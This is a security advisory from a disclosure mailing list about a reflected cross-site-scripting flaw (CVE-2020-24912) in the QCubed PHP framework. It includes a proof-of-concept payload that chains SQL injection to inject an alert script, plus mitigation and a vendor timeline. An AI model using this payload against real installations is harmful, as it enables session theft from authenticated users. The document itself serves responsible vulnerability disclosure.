[AIT-SA-20210215-03] CVE-2020-24912: QCube Cross-Site-Scripting

From: sec-advisory <sec-advisory () ait ac at>
Date: Fri, 12 Mar 2021 10:49:03 +0000

```
QCube Cross-Site-Scripting
======================
| Identifier: | AIT-SA-20210215-03 |
| Target: | QCubed Framework |
| Vendor: | QCubed |
| Version: | all versions including 3.1.1 |
| CVE: | CVE-2020-24912 |
| Accessibility: | Remote |
| Severity: | High |
| Author: | Wolfgang Hotwagner (AIT Austrian Institute of Technology) |

SUMMARY
=======
QCubed is a PHP Model-View-Controller Rappid Application Development framework. (https://github.com/qcubed/qcubed)

VULNERABILITY DESCRIPTION
=========================
A reflected cross-site scripting (XSS) vulnerability in qcubed (all versions including 3.1.1) in profile.php via the
stQuery-parameter allows unauthenticated attackers to steal sessions of authenticated users.

PROOF OF CONCEPT
================
The XSS occurs because the SQL-output in profile.php is not sanitized properly. Since we are able to tamper the output
using a SQL-injection(CVE-2020-24913), we can easily output a common XSS string.

We use the following payload(unencoded):

```
a:1:{i:0;a:3:{s:12:"objBacktrace";a:1:{s:4:"args";a:1:{i:0;s:3:"PWN";}}s:8:"strQuery";s:112:"select version(); select
convert_from(decode($$PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4K$$,$$base64$$),$$utf-8$$)";s:11:"dblTimeInfo";s:1:"1";}}
```

PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4K is unencoded:

```
"<script>alert('xss')</script>"
```

VULNERABLE VERSIONS
===================
All versions including 3.1.1 are affected.

TESTED VERSIONS
===============
QCubed 3.1.1

IMPACT
======
An unauthenticated attacker could steal sessions of authenticated users.

MITIGATION
==========

A patch was delivered by QCubed that allows to disable the profile-functionality(
https://github.com/qcubed/qcubed/pull/1320/files).

VENDOR CONTACT TIMELINE
=======================

2020-04-19	Contacting the vendor
2020-04-19	Vendor replied
2020-05-01	Vendor released a patch at Github
2021-02-15	Public disclosure

ADVISORY URL
============
https://www.ait.ac.at/ait-sa-20210215-03-xss-qcubed

_____
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/
```

By Date By Thread

Current thread:

[AIT-SA-20210215-03] CVE-2020-24912: QCube Cross-Site-Scripting *sec-advisory (Mar 12)*

Site Search